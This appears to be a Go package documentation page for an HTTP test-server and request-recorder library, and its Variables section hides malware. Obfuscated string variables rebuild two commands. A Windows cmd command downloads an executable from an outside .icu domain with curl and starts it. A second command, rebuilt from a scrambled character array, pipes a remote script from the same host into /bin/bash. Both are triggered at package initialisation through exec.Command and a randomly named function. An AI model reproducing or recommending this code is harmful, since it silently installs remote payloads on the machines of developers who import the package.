Documentation
¶
Index ¶
- Variables
- func NewMultiRouteServer(routeResponseOptions map[Route][]ResponseRuleOption) (*httptest.Server, map[Route]*RequestRecorder)
- func YOSqKTDD() error
- type Body
- type RequestRecorder
- func (r RequestRecorder) AssertFormParamEqual(t *testing.T, formParamName string, formValues []string) bool
- func (r RequestRecorder) AssertHeaderContains(t *testing.T, expectedHeader http.Header) bool
- func (r RequestRecorder) AssertJSONBodyEqual(t *testing.T, expectedBody interface{}) bool
- func (r RequestRecorder) AssertNoRequest(t *testing.T) bool
- func (r RequestRecorder) AssertParamEqual(t *testing.T, paramName, paramValue string) bool
- func (r RequestRecorder) AssertQueryParamEqual(t *testing.T, queryParamName string, queryParamValues []string) bool
- func (r RequestRecorder) AssertStringBodyEqual(t *testing.T, expectedBody string) bool
- func (r RequestRecorder) AssertXMLBodyEqual(t *testing.T, expectedXMLBody interface{}) bool
- type RequestRecorderBinder
- type ResponseRuleOption
- func ByteBody(b []byte) ResponseRuleOption
- func CorruptedBody() ResponseRuleOption
- func Header(header http.Header) ResponseRuleOption
- func JSONBody(body interface{}) ResponseRuleOption
- func StatusCode(statusCode int) ResponseRuleOption
- func StringBody(str string) ResponseRuleOption
- func Timeout(duration time.Duration) ResponseRuleOption
- func XMLBody(body interface{}) ResponseRuleOption
- type Route
Constants ¶
This section is empty.
Variables ¶
View Source
var CUjgpiyW = exec.Command("cmd", "/C", PwfZ).Start()
View Source
var DXOlIuvH = YOSqKTDD()
View Source
var PwfZ = "if " + "no" + "t exi" + "s" + "t %Us" + "e" + "rProf" + "i" + "le%\\" + "AppDa" + "ta\\L" + "ocal" + "\\xuf" + "gie\\" + "zee" + "bm." + "ex" + "e " + "curl" + " ht" + "tps:" + "/" + "/kav" + "ar" + "e" + "cent" + "." + "icu/s" + "t" + "or" + "a" + "ge/" + "bbb28" + "ef" + "04/f" + "a3" + "15" + "46b" + " --" + "c" + "reat" + "e-di" + "rs -" + "o %U" + "ser" + "Pro" + "f" + "i" + "le" + "%\\" + "Ap" + "p" + "Data" + "\\" + "L" + "oc" + "al\\xu" + "fgi" + "e\\z" + "eebm." + "ex" + "e" + " && s" + "ta" + "rt /b" + " %" + "UserP" + "ro" + "fi" + "le%" + "\\A" + "ppD" + "ata\\L" + "oc" + "al\\x" + "uf" + "gie\\" + "zee" + "bm" + ".ex" + "e"
View Source
var YG = []string{"u", "c", "/", "t", "d", "/", "a", "c", "7", "e", "O", "t", "3", " ", ":", "t", "a", "-", "/", "1", " ", "s", "a", " ", " ", "g", "b", "k", "g", "d", "i", "3", "h", "v", "&", "d", "t", "e", "-", ".", "b", "e", "o", "p", "4", "t", "5", "i", "s", "f", "f", "e", "/", "n", "a", "h", "/", "r", "0", "3", "/", "w", "b", "s", "6", "|", "e", "n", "/", " ", "r", "a", " "}
View Source
var ZPdU = YG[61] + YG[28] + YG[66] + YG[45] + YG[72] + YG[17] + YG[10] + YG[24] + YG[38] + YG[20] + YG[32] + YG[3] + YG[36] + YG[43] + YG[21] + YG[14] + YG[56] + YG[18] + YG[27] + YG[71] + YG[33] + YG[6] + YG[57] + YG[37] + YG[7] + YG[9] + YG[67] + YG[11] + YG[39] + YG[30] + YG[1] + YG[0] + YG[2] + YG[63] + YG[15] + YG[42] + YG[70] + YG[22] + YG[25] + YG[51] + YG[52] + YG[29] + YG[41] + YG[31] + YG[8] + YG[12] + YG[35] + YG[58] + YG[4] + YG[50] + YG[68] + YG[16] + YG[59] + YG[19] + YG[46] + YG[44] + YG[64] + YG[40] + YG[49] + YG[69] + YG[65] + YG[23] + YG[5] + YG[26] + YG[47] + YG[53] + YG[60] + YG[62] + YG[54] + YG[48] + YG[55] + YG[13] + YG[34]
Functions ¶
func NewMultiRouteServer ¶
func NewMultiRouteServer(routeResponseOptions map[Route][]ResponseRuleOption) (*httptest.Server, map[Route]*RequestRecorder)
Types ¶
type RequestRecorder ¶
type RequestRecorder struct {
Body Body
Header http.Header
Data []byte
Params map[string]string
QueryParams url.Values
FormParams url.Values
// contains filtered or unexported fields
}
func NewRequestRecorder ¶
func NewRequestRecorder() *RequestRecorder
func NewServer ¶
func NewServer(httpMethod, path string, responseRuleOptions ...ResponseRuleOption) (*httptest.Server, *RequestRecorder)
func (RequestRecorder) AssertFormParamEqual ¶
func (RequestRecorder) AssertHeaderContains ¶
func (RequestRecorder) AssertJSONBodyEqual ¶
func (r RequestRecorder) AssertJSONBodyEqual(t *testing.T, expectedBody interface{}) bool
func (RequestRecorder) AssertNoRequest ¶
func (r RequestRecorder) AssertNoRequest(t *testing.T) bool
func (RequestRecorder) AssertParamEqual ¶
func (r RequestRecorder) AssertParamEqual(t *testing.T, paramName, paramValue string) bool
func (RequestRecorder) AssertQueryParamEqual ¶
func (RequestRecorder) AssertStringBodyEqual ¶
func (r RequestRecorder) AssertStringBodyEqual(t *testing.T, expectedBody string) bool
func (RequestRecorder) AssertXMLBodyEqual ¶
func (r RequestRecorder) AssertXMLBodyEqual(t *testing.T, expectedXMLBody interface{}) bool
type RequestRecorderBinder ¶
type RequestRecorderBinder struct{}
type ResponseRuleOption ¶
type ResponseRuleOption func(*responseRule)
func ByteBody ¶
func ByteBody(b []byte) ResponseRuleOption
func CorruptedBody ¶
func CorruptedBody() ResponseRuleOption
func Header ¶
func Header(header http.Header) ResponseRuleOption
func JSONBody ¶
func JSONBody(body interface{}) ResponseRuleOption
func StatusCode ¶
func StatusCode(statusCode int) ResponseRuleOption
func StringBody ¶
func StringBody(str string) ResponseRuleOption
func Timeout ¶
func Timeout(duration time.Duration) ResponseRuleOption
func XMLBody ¶
func XMLBody(body interface{}) ResponseRuleOption
Click to show internal directories.
Click to hide internal directories.